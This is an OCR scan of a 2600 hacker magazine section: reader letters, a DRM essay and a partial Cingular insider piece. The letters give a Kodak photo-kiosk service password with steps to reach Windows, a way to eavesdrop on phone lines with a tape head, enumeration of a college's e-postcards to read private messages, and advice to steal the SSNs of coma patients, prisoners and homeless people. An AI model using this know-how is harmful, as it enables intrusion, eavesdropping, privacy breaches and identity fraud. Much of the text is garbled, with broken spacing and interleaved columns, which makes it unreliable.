and the other  fo r the AM (on ly) a nten na .  

Looki ng  at the loopstick ,  there shou ld be fou r  very 
fi ne  wi res that go to the ci rcuit board.  One of these 
wi res you ' l l  want to so lder  o r  somehow connect a fou r  
foot wi re t o  u s e  as  a n  externa l  a ntenna  t o  pick up  
sho rtwave. The  easiest way i s  to  power up the radio a n d  
touch y o u r  wi re t o  each o f  t h e  fou r  wi res a n d  tu ne  
around the AM d ia l .  On  the right  wi re, you ' l l  hear  morse 
code tra nsmissions ,  people talki n g  in foreign  la n 
guages, a n d  many more stations  than  without. The 
other th ree wi res may have the same effect, but not as 
good as  the one  magical  wi re, which shou ld be the non
grounded side  of the loopstick  a nten n a  coil. 

Solderi n g  i s  the best way to con nect the wi re, but 
bei ng  in p rison we usua lly don 't h ave a solderi n g  i ro n  
h andy u n less w e  have access t o  one  i n  a n  i n dustries 
shop  o r  maintena n ce shop .  I have used ti ny spri ngs  a n d  
twisted my antenna  wi re with good resu lts, b u t  you 
have to m a ke su re to put them a round  other  ci rcuit 
traces to make su re the spri n g  doesn 't sho rt a nythi ng  
out a n d  screw up  you r  radio .  So lderi n g  is a fi ne  a rt. If 
you app ly too much  heat or b lop  too much  so lder, you ' ll 
screw your radio up .  In the past I have used Zi ppo 
lighters a n d  ca nd les to heat up  a brazi ng  rod to solder 
with .  

I f  you were successfu l with the rad io  hack ,  i n  the  
late afternoon through nig htfa ll you shou ld be ab le to 
pick up the sho rtwave radio frequencies between 3500-
7500 Khz ( 3 . 5-7. 5 mhz ) .  Below 6000 Khz,  I found  that 
ground ing  the antenna  to the locker, ba rs ,  o r  bunk p ro
vides the best recepti on .  Above 6000 Khz I fi n d  the 
wi re i n  the  wi ndow or against (but not grounded to) the 
locker works best. To pick up  WBCQ to hear Off the 
Hook, you ' l l  fi n d  it a round  1000-1200 Khz somewhere 
on the  AM dial .  Of course, you have to h ave you r  radio 
o n  AM to hear  shortwave . 

There a re better ways to pick up sho rtwave on a n  
AM/FM radio, b u t  i t  would take some serious  redesign
i ng  of the rad io  a n d  part changes, wh ich  some of us 
don 't h ave the luxury to perfo rm .  This is the "poor 
man 's sho rtwave radio . "  It 's  quick,  di rty, and works 
quite well. For you hams, I hear  you o n  SSB on  80 me
ters ( 3700-3400) and routi ne ly li sten to you AM guys 
up  on  3885 . 

This hack  works by shear  overloading of the tuned 
circuits. Norma lly the AM section  by design  and the "Q" 
of the loopstick keeps a nyth ing  out of the AM b roadcast 
band from bei ng  received .  The externa l  a nten na  mo re 
or less overloads the "front end , "  the tu ned AM ci rcuits, 
a n d  lets the other frequencies be heard .  
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If there a re any hams  in the free world who have a 
si gna l  connecto r a n d  a sacrifi ci a l  AM/FM Walkm a n ,  I 'd 
li ke to correspond with you.  I h ave a n  experiment I 'd 
li ke you to try to gauge the perfo rmance of this mod, 
how logarith mic the tuni ng  ra nge is ,  and how many im 
age s  a re present. I count many  i mages o f  t he  same sta
tions  th roughout the dial, at least fou r. I am very 
experienced in SWL ( sho rtwave li sten ing)  - 33 years to 
date (I 'm 38) - a n d  have been a ham fo r 24 yea rs. The 
performance ai n 't equal to my R-390A Colli ngs  o r  Icom 
equipment, but I ca n hear QRP stations  and DX that the 
big boys a re heari ng .  Plea se write ! 

Redbird's a rticle on mag stri p readi ng  i n  2 2 : 1  
brought b a c k  s o m e  fond  memori es o f  other uses fo r 
magneti c heads .  In my younger years I used to trace 
phone  wi ri n g  with such con nected to high gain a m ps 
li ke Radio Shack  used to sell. You ca n li sten to phone  
conversations  on  a li n e  j ust by  p la ci ng  the magnetic 
pi ckup n ext to the phone  wi res. There is no physical  
con nection  to the wi res. The tape head picks up  the 
magnetic field a round the wi re generated by voice go
ing a cross the wi re which is low frequency AL The mic 
i n put on  a sound  card s hou ld have enough gain ( amp li
fication )  to do the same thi ng .  The fide lity a in 't that 
g reat, but it ' s  a terrifi c field expedient way to trace 
wi res if you left your  toner  and foxhound  at home  and  
you  got  you r  mag reader with you .  

I wou ld li ke to  t hank  whoever o rdered me  a sub
scri ption  to Tele-satellite International magazi n e  back 
i n  ' 03 .  The sub died long  ago but it was very much  en
joyed . Anyone  who wishes to o rder  magazi n es ,  espe
cia lly the free trade magazi nes ,  ca n send them to my 
address listed below. Please try to look out fo r those 
who a re on  the i nside. Our o n ly a ccess to tec hno logy is 
by what we read through the mail .  Letters a re very 
m uch  appreciated as  well. Friends  a n d  fa mi ly fo rget 
a bout you over ti me  a n d  a nyth ing  from the outside 
b ri g htens the "G round  Hog  Day"  routine .  He ll, fi ll out  
"bi l l  me later" cards !  I ' l l  read a nythi ng .  

Those of you  who have written to  me  and  d i d  not 
get a response ,  my mai l  to you bounced back .  I do not 
have a reli ab le mai l  relay a n d  your  end is bounci n g  mai l  
back .  There is nothi ng  I ca n do .  

G reetz to  those  on  the i n side  looki ng  out, those  I 
know well, a n d  to those I met at the va rious  cons .  H ey, 
Virt from Ca nada ,  write ! 

Security 

Dear 2600: 

Storm bringer 
W. K Smith 44684-083 

FCI Cum berland,  Unit A-l 
PO Box 1000 

Cum berLand, MD 2 1 501 -1000 

I did a lot of i s la n d  hoppi ng  whi le on a recent tri p  
to  Hawaii. I was  pu lled aside fo r speci a l  i n spection  a t  
every si ng le i nter-i s la n d  flig ht. By  t he  fou rth ti me,  I fi
na lly got them to tell me ( u noffici a lly, of cou rse) that I 
fit the profi le of someone they had  to sca n by law. I was 
a si ng le ma le traveler, b uyi ng  a one way ti cket, carryi ng  
luggage. I t  a lso did n 't he lp t h a t  I don 't choose to  re
move my shoes beca use of my foot b races i n side (they 
used to be leg braces ) .  They assured me,  however, that 

this wasn 't the reason I was pu lled aside .  
When I wore leg b ra ces, they would swab them with 

a pad a n d  put the pad in a machine fo r a n a lysis .  I p re
sume they were "sniffi ng "  fo r exp losives. As may be ob
vious from the fact that I 'm writi n g  this to you ,  I never 
flu n ked the test. Then agai n ,  I 'm not a terrorist. Du ri ng  
th i s  H awaii trip ,  my shoes were swabbed every ti me .  

Du ri n g  the first i n spection  (way too early i n  the 
morn ing)  the guy i n specti ng  me told me,  "I h ave to pat 
you down n ow, si r. "  Bei ng  too g li b ,  ti red ,  and genera lly 
a smart ass ,  I sai d ,  " Honey, you ca n touch whatever you 
want. " The i n spector went pa le,  lig htly patted my chest, 
lig htly patted my right  a rm ,  a nd  sai d ,  "You ' re clea n ,  you 
ca n go . "  

At  every subsequent i n spection  I had  a sto ry to  tell 
which got chuck les from every other i n spector. Every
one  e lse treated me nicely, but was much  mo re thor
ough  than  the fi rst guy. Havi ng  said that, however, no  
one  got  close enough  to  my crotch to  fee l  exp losives 
there. Now I don 't want a nyone, ma le o r  fem a le ,  feeli n g  
me up  even if it is  for homela n d  secu rity. H owever, 
maybe they s hou ld have handed me a swab a n d  asked 
me to wi pe the front of my pa nts. That would h ave made 
it easier to fi n d  someone who had  a bad i ntent. 

The Piano Guy 

Dear 2600: 
I j ust received a letter from H&R  B lock that says the 

fo llowi ng :  
"Recently we mailed you a free copy of o u r  TaxCut 

Software. We believe that this complimentary software 
will meet your 2006 tax preparation needs based on our 
prior experience with you as an H&R Block client. We 
hope that you will try TaxCut and find it to be a great 
solution for filing your next tax return. 

"However, since we sent you this CD, we have be
come a ware of a mail production situation that has af
fected a small percentage of recipients, including you. 
Due to human error in developing the mailing list, the 
digits of your social security number (SSN) were used as 
part of your mailing label's source code, a string of 
more than 40 numbers and characters. Fortunately, 
these digits were embedded in the middle of the string, 
and they were not formatted in any manner that would 
identify them as an SSN. 

"Nevertheless, we sincerely apologize for this inad
vertent error, which is completely inconsistent with our 
strict policies to protect our clients' privacy. Out inter
nal policies limit the use of client SSNs for purposes 
other than tax preparation. Furthermore, our internal 
procedures require that mailing source codes are for
mulated in a manner that excludes use of any sensitive 
or confidential information. Please know that we have 
conducted a thorough internal review of this matter, 
and are taking actions to ensure that this does not re
occur. " 

So, not o n ly a re they sendi ng  me j u n k  mai l. .. they 
a re sendi ng  me j u n k  mai l  that exposes sen sitive per
sona l  i nfo rmati on .  

drLecter 
This is probably a lot more common than even the 

most paranoid among us fear. While these guys at least 
owned up to their huge mistake, one has to wonder why 
they would use that number in any way outside of hav-
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ing to report it to the tax people. It makes about as 
much sense as sticking your total income into a mailing 
label code. Such information has no business being 
used for other purposes. And yet it is - everywhere we 
look. We invite our readers to let us know whenever 
they see an SSN someplace where it shouldn 't be. 

Dear 2600: 
I j ust heard from a buddy that his 14 yea r o ld 

daughter was a b le to connect to the N eptune,  New Jer
sey po lice depa rtment's unencrypted Wi Fi .  WTF!  Home
land  Insecurity. Anybody need a ticket reversed? 

Dear 2600: 

deadman 
H oLLand,  NJ 

I was expecti ng  a package from Fed Ex but I had no 
tracki ng n u m ber no r  did I know when it was supposed 
to a rrive. I ca lled thei r  customer  service 800 n umber 
and a mazi ng ly without knowi n g  a nythi ng  other than  
the add ress a nd  person  it was add ressed to , they told 
me everythi n g .  I wasn 't even asked to identify myself. 
More i nteresti n g  is I know the package was addressed 
to my wife yet they did n 't thi n k  it odd some unidenti
fied man  was aski ng  for i nfo rmation  a bout it. They 
asked me if I knew the sender, a n d  even though I did n 't 
know the exact name  they sti ll to ld me when it wou ld 
a r rive even up to the approxi mate time .  The woman on  
the phone  a lso to ld me  the package d i d  not requi re a 
si gnature. You ca n call  them a n d  p robab ly fi nd  i nforma
tion  a bout a ny package your  neighbo r  may be expect
i n g !  I don 't know if U PS or D H L  is as i nsecure but Fed Ex 
seemed to hand  out package i nformation  li ke Tic Tacs. 

comfreak 
This is definitely easier than it should have been. 

But it's also solid proof that if you talk to a representa
tive sounding halfway confident more times than not 
you'll get information out of them. What may have hap
pened in this case was that your phone number 
matched what they had on file for your address which 
satisfied their security check. Of course that sort of 
thing is relatively easy to spoof. 

Dear 2600: 
Albion  Co llege in Albion ,  Michigan offers an e lec

tronic postcard service for students, fa mi ly, and friends 
of the school  at http://www.a lbion .edu/postca rds/. 
Once the postca rd i s  completed, it ca n be viewed on li n e  
at a later date through  the sam e  website if you  know 
you r  eight  digit code i n  this format: http://www.a l
bion . edu/postca rds/view.asp?ca rd�12345678 .  But the 
eight  digit code i s  rea lly o n ly based on  the midd le four 
digits. The fi rst two and  the last two can be i gno red .  
For examp le, http://www.a lbion . edu/postcards/view 
-.asp?card�99112299  wi ll retu rn the same ecard as :  
http://www.a lbi on  .ed u/ postca rds/view.asp ?ca rd�OOll 
-2200 .  

Another  i nteresti ng  feature: the o ld postca rds don 't 
expire. Any p revious ly sent postcard ca n be retrieved 
a nd  read si mp ly by i ncrementi ng  or decrementi ng  the 
fou r  m idd le digits. Ever" postca rd s hows the o rigi na l  
message, the sender's emai l  add ress, a n d  name .  

I f  you happened to be bored on  a Satu rday night 
and have n othi ng  e lse to read . . . .  

scott 
We're having a lot of fun with this and can 't stop 

reading these. If your issue is late, this is probably why. 

Further Info 

Dear 2600: 
In regards  to the a rticles in 2 2 :4  by Thorn a n d  

Cratv, Ta rget, Wal-Ma rt, a nd  CVS a ll u s e  t h e  s a m e  Ko
dak machi nes ,  a lbeit with different p rogramming  to 
suit the specific b ra n d  they' re tryi n g  to sell. They' re a l l  
runn ing  on  Wi ndows XP, a llowi ng  for some i nteresti n g  
mischief if y o u  were t o  ever get to Wi ndows from i n side 
the i nterface. Of course, i t 'd  be  poi ntless to mention  
that  if there wasn 't a n  easy way i n ,  no?  There a re a 
n u m ber of ways to do so,  but I ' l l  o n ly outli ne  the one  I 
remember  off the top of my head . 

Fi rst, either  obtain the setup password or use the 
exp loit that Thorn mentions  i n  his a rticle about the 
password bei ng  u nnecessa ry fo r the first five minutes 
of the system's  operati on .  As he said ,  they're advised 
not to use the store n umber, but most often that's the 
case as  it ' s  easy fo r emp loyees to remember. In the 
setup menu,  there's a n  option  for d iagnostics.  From 
there, go i nto service d iagnostics.  It wi ll ask fo r a ser
vice password . If you ' re worki n g  in the lab ,  it's easy to 
soci a l  engineer a service password from the KPM cal l  
centers (which ,  I might add, a re a l l  outsou rced to India 
it would seem) ,  but consideri ng  how easy it i s  and that 
it's the same fo r every KPM (at least what I 've found ) ,  
I ' l l  i nclude it here :  741963 .  Straight  up  the left side, 
straight up  the rig ht side. In the service diagnostics 
section  there is  a button that goes right  to the Wi ndows 
Contro l Pa nel .  From there, it's easy to get i nto the vari 
ous  h a rd d rives a n d  peri phera ls i n sta lled on  the system 
as well as view system i nformation  a n d  so forth . 

Every KPM shou ld have as a defa u lt five ( possi b ly 
six) memory ca rd d rives, a CD d rive, a floppy d rive, a 
USB  port (that seems to be solely fo r flash  d rives since 
regu la r  USB con nections  at that port yie ld no  resu lts ) ,  
a n d  a n  infra red port. Some have  magnetic ca rd  readers, 
a lthough I haven't seen them imp lemented i n  a ny of 
the stores I've been to. Some of the more up-to-date 
ones have Bluetooth connectivity fo r camera phones a l
though ,  agai n ,  not every store imp lements the tec h .  
( O f  course, if y o u  c a n  get i nto the system setup,  you 
can m a ke the KPM accept/do whatever you want it to, 
so it doesn't much matter. On sta rtup,  the device man
ager  wi ll s how every piece of equipment connected to 
that mach ine  a nd  a ll of them a re a ccessi b le from the 
setup menu . )  

As for the th ree ha rd d rive situation  t h a t  Tho r n  de
scri bed, they' re p rima ri ly used for picture storage. 
Every pictu re that goes through  the KPM i s  saved on  a ll 
th ree of those d rives. They're easy enough  to fi nd  once 
you ca n get to the Windows i nterface.  It's saved first on  
the E d rive, t hen  cloned to  the other  two . 

As fa r as I can tell, the machi nes a re not connected 
to the Internet, a lthough I've o n ly experimented with 
this at Ta rget. It may not be the case e lsewhere.  From 
what I ca n tell at Ta rget, they are connected to a back 
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end mach ine  (one  that wi LL burn  Kodak CDs ,  for exam
p Le) t hat  is  con nected to  the Internet (tha n ks to  Ta r
get's pa rtnersh ip  with Ya hoo) .  Whether you ca n  access 
IE  from the kiosks is  sti LL to be  determi ned .  

The Koda k Pictu re CDs a Lready have informatio n  en
coded on  them befo re they're used  by  the KPMs .  I f  you  
manage to  get  your hands  on  a b La n k  Kodak  Pictu re CD ,  
it has  the editi ng  softwa re suite it uses ,  a Lo ng  with a LL 
of the graphics that a re n ecessa ry for that progra m to 
work. That wouLd be why the KPM knew he was usi n g  
b la n k  discs. O f  course, if y o u  could write a CD-RW with 
the  Kodak Picture CD i nformation  . . . .  

I don 't have access t o  a ny o f  t h e  CDs ,  but t h e  soft
ware Thorn had access to is horri b Ly outdated . The 
n ewest KPM revisi on  I 've seen is  up  to V5.2 o r  so .  Every
th ing other  than the core p rogram is  added on by a CD ,  
i n cludi ng  patches and  updates. As you ca n imag ine ,  the 
stack of CDs wou Ld get quite la rge. 

I wouLd Li ke to note that, other than the Logi n at 
sta rtup (which i s  done  a utomatica LLy) and the p rotec
tio n  i n side  the KPM softwa re (which is  mediocre at 
best) , there a re n o  rea L security measures o n  this sys
tem .  Once you ' re i nside the ha rd d rive, everyth ing i s  at 
your mercy. It wouLd be  fai rLy easy for a nyone to cri pp Le 
these machi n es if they so desired. 

DrBensina 

Dear 2600: 
With Google a n d  other search engi n es recently be

ing i n  the n ews over p rivacy concerns,  I thi n k  people 
who a re concerned about their  p rivacy when sea rchi n g  
shou Ld take a look  a t  http://www.scroog le .o rgj. This 
service is  free and scrapes a LL the adverts from your 
Google search .  Mo re i m portantly it i s  not possi b le for 
GoogLe to identify you.  There is a lso a Li n k  on the site to 
Clusty which does p rovide  ads but does n ot track  you.  
They cla im it p rovides better  resu lts than GoogLe too !  

Beowulf 

about si nce I sta rted readi n g  it a yea r ago .  

I read the a rticle " Backdoor Exits from the u.s .  Mi L

ita ry" i n 2 2 : 1 .  It was a n  i nteresti n g  a rticle. H owever, 

there a re some th ings  that fo Lks shou Ld be aware of. 

First. getti ng  out du ri n g  basic trai n i ng  is diffi cu Lt a nd  

trai n i ng  i nstructors wi LL give you " heLL" the enti re ti me  

to  attempt to  straig hten you  out  to  make you  a perfect 

soLdier, a i rman ,  or saiLor. Second ,  a n d  most i mpor

tantly, if you a re given a "bonus"  to sig n  up to come 

i nto the mi litary you wi LL n ot see that money u nti L you 

ar rive at you r  fi rst duty Location  after trai n i ng .  So don 't 

thi n k  that you ' L L  see a ny money p ri o r  to fi n i sh ing  basic 

trai n i ng .  If you do  receive some money up  front you wi LL 

be  required to repay it si n ce you did n 't upho Ld your end 

of the contract a n d  compLete the fi rst fou r  o r  s ix  yea rs . 

Be sure that you rea LLy want to joi n the mi lita ry. 

Also, do the research to have your recruiter get you i nto 

a good career fieLd (i . e . ,  com m un ications/networks, i n 

formation  managers/taki n g  ca re of computers, etc . ) .  

T he  ASVAB test scores wi LL Limit you  getti ng  i nto s ome  

ca reer fieLds if t he  scores a ren 't what they shou Ld be .  

J ust because somethi ng  s ound s  g reat. Li ke pa ra-rescue, 

it might n ot be what you truLy want o r  somethi n g  you 

can do after you Leave mi lita ry service .  M ost peopLe join 

for the educationa L  benefits, but most of the ti me  you 

wi LL n ot be  ab Le to ta ke coLLege courses u nti L you com

p Lete you r  upgrade trai n i ng  in you r  chosen career fieLd 

which can take up to two yea rs. 

When you a re reLeased from the mi litary you wi LL be 

given a Depa rtment of Defense Form 214.  Most empLoy

ers wi LL ask  fo r this when you app Ly for a job  with them , 

especia LLy if you Let them know you were i n  the mi Lita ry. 

Some empLoyers may question  what happened and  why 

you Left the mi Lita ry p ri o r  to fi n i sh ing  your fi rst term of 

service.  The form wi LL say that you did n 't comp Lete your 

fi rst fu LL term of service and your character of service i s  
Dear 2600: Left b Lank .  It couLd a lso affect what types of jobs you 

J ust fi n ished 2 2 : 3 .  The a rticle "Forgi ng  a n  Identity" a re ab Le to get. Of course, if you p La n  on go ing i nto 
by Sistem Root has one sma ll flaw. SSNs of the dead a re busi n ess for you rseLf it rea lly won 't matter. 
flagged, so tryi n g  to use them at the DMV, ban k, o r  My advice i s  t o  make su re y o u  ca n hand Le someone 
a nypLace that does a credit check wi LL cause you to have 

bei n g  in you r  face 24 hou rs a day whi Le you a re in basic 
a n  unwanted encounter with the cops.  Better to use Liv-

trai n i ng  a n d  technical  trai n i ng .  This of cou rse is o n ly 
i n g  persons  who have no n eed for SSNs .  Coma pati ents, 
the homeLess, i nsan e  asyLum residents, and p ri soners 

for trai n i ng  and  n ot when you a r rive at your  fi rst as-

doi n g  20 to Life a re good choices.  Just remember  to do sig n ment, which can be  fai rly lai d  back in some i n -

a background  check  to  m a ke sure they're sti LL Livi ng  stances. ALso, be  awa re t hat  there a re poor, as  weLL as  

every once i n  a whi le .  O n  a side note, the book  How to g reat, supervisors a n d  managers i n  the mi Lita ry j ust as  

be Invisible by JJ Luna  i s  a good p lace to sta rt fo r a ny- there a re everywhere. As a supervisor  to Ld me one  ti me,  

one  Looki n g  to Live the a n o nymous LifestyLe. As a lways, "We have bu LLshit j ust Li ke everywhere eLse. O u rs i s just 

thanks fo r a g reat mag that seems to be the Last p Lace regu lated . "  As with a nythi n g  it wi lL be  what you make of 
for free thoug ht. it. Remember, it's sti lL a voLunteer force and not a 

Angry (not mad) Max mandatory requirement . . .  yet. 
It's real comforting to know there are people out I've been in for over 1 2  yea rs and love it. I've been 

there thinking these things through. And what a won- stationed at overseas Locations  i n cludi n g  Eng la n d  a n d  
derful welcome back to sodety for any of these people Germa ny. I've had the opportunity to Lea rn a n d  be men-
recovering from their ordeal when they discover some- tored by some of the b ri g htest people a round .  I've re-
one else has been using their identity. 

ceived a LL of my education  free and  had some rea Lly 

Dear 2600: g reat times .  N ot to mention  that I get a fai rLy decent 

Fi rst Let me  teLL you g uys how much I Love you r  mag- pay check to buy a LL the eLectron ic  toys I ca n afford. 

azi ne .  It gives me  ton s  of g reat ideas and stuff to thi n k  The Sarge 
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THf DI<'M PLAH 
by Don 

The fight over the broadcast flag isn't over de
spite the recent court ruling. We're still being 
locked out of our hardware and media by Digital 
Rights Management (DRM) and the shifting ideol
ogy over how we use the media and equipment we 
buy. The technical and legal means are discussed 
in Michael Sims's speech on DRM and the EFF's 
speeches on Hackers and the Law from The Fifth 
HOPE. The speeches are archived online and well 
worth downloading. I'm going to focus on an as
pect of DRM they didn't talk about, specifically 
how will DRM change the way we use music and 
why does the music industry love digital audio 
files? 

Contrary to vociferous protestations of the 
RIAA, the major labels love digital audio files. 
They conceived of them years ago under the rubric 
of the "Celestial Jukebox. "  It would have worked 
much like P2P does today - you think of a song, 
hop on the network, and enjoy. Tunes shipped di
rectly to your stereo for a small fee, not unlike the 
online music stores of today. Note though that it 
wasn't a "music box, " it was a ''jukebox . '' You'd 
have to pay every time you played a song. And you 
couldn't transfer it off the box to another system. 
If you wanted to listen in your car or while jogging 
or at a friend's you'd have to buy the song again. 
You'd pay every time you played. 

This didn't happen but it doesn't mean the in
dustry has given up on the concept. The Jukebox 
would have required a robust broadband and WiFi 
infrastructure to work - something that didn't 
emerge until P2P had already broken out and in
deed may never have developed unless P2P came 
along. Instead of the Celestial Jukebox we have 
iTunes and DRM .  

The price of an album from an online music 
store is generally comparable to the price of a CD 
($10-ish per disc. If you're paying more than $12-
$13 per CD, you're shopping at the wrong stores. 
Also, this refers to the "general" price of albums 
online. Some releases have already been priced 
much higher at online music stores, costing as 
much as they would at the mall and this will be
come the norm as the online stores become the 
dominant means for people to get music). There 
are major differences in the CDs and digital music 
files beyond packaging. A CD from the store has 
no controls built into it. You can play it anywhere, 
make as many copies as you like, and even sell it. 
DRM-enabled files can only be played on devices 
that have permission to play them. It's important 

to note these permissions because they can 
change. 

Let's look at the iTunes Terms of Service (TOS). 
Not to pick on Apple, but they're the biggest 
player and set the standards for how online music 
stores will operate. According to Apple's "Usage 
Rules" (http://www.apple.com/supportjitunes/ 
-legal/terms.html) you may have copies of the 
file on "five Apple-authorized devices at any time" 
and "burn a playlist up to seven times. "  It doesn't 
specify how often you may burn an individual file, 
but it does say "Any burning or exporting capabil
ities are solely an accommodation to you."  Of 
course it also has the standard TOS legalese and 
informs you that Apple may change the TOS at any 
time without warning and you are as bound to 
them as you are to the original one you clicked 
through. In "the event that Apple changes any 
part of the Service or discontinues the Service, 
which Apple may do at its election, you acknowl
edge that you may no longer be able to use Prod
ucts to the same extent  as prior to such change or 
discontinuation, and that Apple shall have no lia
bility to you in such case. "  

So  you, as a person who paid to use these 
tracks in a non-infringing way get screwed if Apple 
changes its mind over how its service operates or 
changes the service at the behest of the music in
dustry. These changes happen automatically and 
affect all the DRM tracks you have. You sync your 
digital audio device with your computer to trans
fer songs. The program used to sync is always up
dating itself every time you go online. 

I've gone a long way to say what we all know. 
Yes, there are ways around DRM and there always 
will be. The problem though is not that there won't 
be a way around it when it hits but rather that 
we'll acquiesce to it because breaking the DRM will 
be more work than just going along, if it can be 
broken at all. Also, drawing on Michael Sims, 
they're going to try to make DRM a hardware issue, 
not a software issue. So cracking the DRM will in
volve either hacking your equipment the way 
phreakers used to do or by running a crack on 
every media file you ever want to play ever again. 
Yes, it's beatable, but a lot of people will pay the 
extra 1-2-5-10 dollars to not endure having to 
beat it. 

This is an issue that's already coming up. There 
are only two ways to listen to a digital music file -
either with a player (iPod, computer, etc.) or by 
burning it to a CD. Some cars are now being 
equipped with DVD players. DVD players won't play 
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CD-Rs unless the laser is specially designed, which 
they generally aren't. So with no major adjust
ments, cars are now locking out homemade media. 
No copies, no mixes, and no albums that you 
downloaded from the Internet. The technology 
that's needed to lock us out of our media is less 
complex than we imagine. 

Also, the DRM default will be to deny copying 
unless the track clearly states you may. That 
makes sense from the industry's point of view -
you can't copy without special permission. How
ever, when we say "copy, " the industry is thinking 
"play." The default setting for playing a track will 
be to block you from playing the track you paid 
for. Why not make the permission automatically 
allow you to play the track? If the default permis
sion is set to allow you to play the media then you 
won't have problems with corrupted tracks being 
blocked. Nor would pre/non-DRM tracks be 
blocked. That's why "play" would equal "no" by de
fault. 

The music industry hasn't given up on the Ce
lestial Jukebox. They want you to buy a copy of 
every track you want every time you play it. They 
can't do this with CDs - permanent collections of 
non-DRM media files. CDs are physical - you can do 
whatever you want with one once it's in your 
hands. That goes against the industry's current 
ideology. Plus there's always the profit motive. 
The CD is the last expense of the record compa
nies. 

When a band signs with a major label, they get 
an advance against royalties on future sales. From 
this advance the band pays for the recording and 
production of the album, any videos and promo
tions, and the tour. The label provides seed money 
and then pays to print the CDs. Without the need 
to press CDs (when the label just takes the master 
tapes the band paid for and uploads them to 
iTunes), the label's only job becomes recouping a 
minor investment and getting paid. 

"But wait," digital utopians will say, "the artist 
can do that as well. They can record at home and 
sell their tracks directly through iTunes." No, they 
can't. The labels are maintaining their old role as 
gatekeepers, blocking acts from radio, television, 
and online music stores. The digital music services 
aren't dealing with bands, they're dealing with 
companies. There's no money in dealing with 
artists on a one-on-one basis. No one has the 
time, resources, or inclination to do that. 

So the music industry wants to eliminate the 
CD so you'll re-buy every song you liked, and every 
new song you'll buy will mean pure profit. They'll 
use DRM-hardwired equipment to look for the play 
permission. Any CD lacking that (i.e., every CD 
ever) won't play. Nor will any of your old files or 
any files from groups outside the industry that 
haven't bought access to the DRM codes. The mu
sic industry will be able to completely lock every-

one out of our culture, turning it from something 
we collectively create by deciding what we use, 
keep, and build upon into something the industry 
decides based on what's making the biggest profit 
at any given moment. 

And that'll be it. We'll all be stuck buying DRM
protected tracks for our DRM-enabled players, re
buying files for broader use or every time a file is 
corrupted or lost. And P2P won't be spared either. 
DRM will block new material from being ripped and 
ripped material from being played so the resource 
pool that fuels P2P will dry up. 

There are also questions of Fair Use being im
pinged - people being prevented from making mu
sic at home or DRM being appended to files you 
rightfully have and then being unable to play (for 
instance, public domain or Creative Commons-li
censed tracks suddenly having limits applied for 
transfer and copying) but that gets into Fair Use 
rights which is a different discussion. Those prob
lems all arise from DRM being the default and are 
more fully discussed in the books cited at the end 
of this piece. Where I want to go is towards solu
tions. 

The first step is to cut DRM off at the source: 
Congress. Write, don't email, write your represen
tatives letters outlining your opposition to gov
ernment-mandated DRM in all its forms whether it 
be the broadcast flag or the DMCA. Remember 
when writing them that DRM is anti-copyright and 
unconstitutional. It prevents media from ever en
tering the public domain which goes against the 
U.S.'s definition of copyright. Also, support the 
EFF and pay attention when votes on these issues 
come up. Contact your representative whenever 
they do and write letters to the editor. Don't sur
render to cynicism. 

The second step is to not use DRM files and de
vices. Encode all your music into the open-source 
Ogg Vorbis and FLAC formats and only buy players 
that let you use these file types. They aren't going 
to vanish and devices that play them aren't going 
to regress to lock them out. Don't use online music 
stores. They'll all have - and always will have -
DRM. 

But where should you get the music that you 
encode into Ogg/FLAC? From CDs you buy. That's 
the third step. Buy music you want, like, or are cu
rious about on CD. The record companies will keep 
manufacturing CDs as long as they're making 
money (and once they stop, they won't get your 
money) and hardware manufacturers won't stop 
making CD players until people aren't using them 
anymore. They also won't make CD players that 
refuse to play pre-DRM discs. Instead manufactur
ers will make your computer refuse to play pre
DRM files forcing you to use your stereo to play 
CDs just like you have to do with tapes and 
records. 

There is another reason to buy CDs. It's not a 
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technicaL one, it's an ideoLogicaL one. When you 
hop on a P2P network or an onLine music store you 
grab the track you want and then maybe the rest 
of the aLbum. Or, if you grab the entire aLbum, you 
cuLL the tracks you don't want at the moment and 
deLete them. You can do this with a CD as weLL, 
putting aLL your favorite tracks on a mixCD or 
putting them on repeat, but the rest of the aLbum 
isn't Lost. When you ditch the aLbum for the singLe 
you rob yourseLf of those times when you puLL out 
an oLd aLbum and Let it pLay past the one song you 
Liked, when you hear the next track and under
stand it in a way you didn't before, when you hear 
a song at a party and then Later find you had it 
yourseLf, taking you back to that moment. When 
you accept onLy taking the tracks from the mo
ment and scuttLing the rest - a Lauded advantage 
of P2P - you are robbing yourseLf of the opportu
nity to rediscover music, your music. You are in-

by The iNSiDER 
What is really going on with CinguLar WireLess 

and the former AT&T WireLess? I currently work at 
CinguLar and thought I wou Ld share some secrets 
from the most eviL ceLL phone company on the 
pLanet. 

First of aLL we just rolled out new pLans that 
cap your roLLover banking so you can onLy store 
up to your pLan's maximum amount of minutes in
stead of unLimited. That doesn't reaLLy matter 
though because CinguLar hopes you will use most 
of your m inutes with nights and weekends, and 
mobile to mobile. HopefuLLy your minutes wiLL ex
pire at the end of a year. 

We have thousands of bad versions of the 
quad band MotoroLa v551 floating around. In 
fact, our former AT&T WireLess v551s work fine on 
the network, but instead of being honest Cingu
Lar keeps giving out these v551s with shitty re
ception under a no refunds poLicy. We are not 
aLLowed to teLL customers because this would cost 
the company heaviLy, one upper management 
person said. 

We Love giving out a month here and there of 
unLimited time. We thrive off those promos. This 
is an industry trick that gets the (sucker) cus
tomer to get used to using a Lot of minutes for 
when the promo runs out. 

A good way to get free shit out of CinguLar is 
by gaming. We have the power to give you credits 

stead buying into an ideoLogy of music not as art 
or even cuLture but as product, as something dis
posabLe. That's the music industry's ideoLogy. 
Don't Let it be yours. 

Support the artist, support LocaL retailers, and 
buy the CD. Keep music an issue of controL, not 
permissions, of CDs, not DRM. 

Background information for this piece came 
from: 
• MichaeL Sims's and the EFF's speeches at 
http://www.the-fifth-hope.org/ 
• NegativLand's "Shiny, ALuminum, PLastic, and 
DigitaL" and Steve ALbini's "The ProbLem with Music" 
at http://www.negativLand.com/intprop.htmL 
• Lawrence Lessig - Free CuLture 
• Kembrew McLeod - Freedom of Expression ® 
• Siva Vaidhyanathan - Copyrights and Copywrongs 
and The Anarchist in the Library 

and send you free stuff and also 
time. You j ust have tQ- so<;iat' it1��1f �;;�

' 
��,����� pocket. This art is caned .,.;, 

reps enough times you can get it. J ust make sure 
you make different inquiries so the 50 percent of 
reps who check the "memos" on the account don't 
see a pattern. 

We get in troubLe for using technicaL Lingo. 
For exampLe, the word "TDMA" is not aLLowed. We 
have to say "digitaL technoLogy" even though GSM 
is digitaL aLso. 

Our former AT&T WireLess service is better 
then our current service and it aLways wiLL be. 

We have a LittLe meter on everyone's account 
called a "CHURN indicator." This wiLL teLL us when 
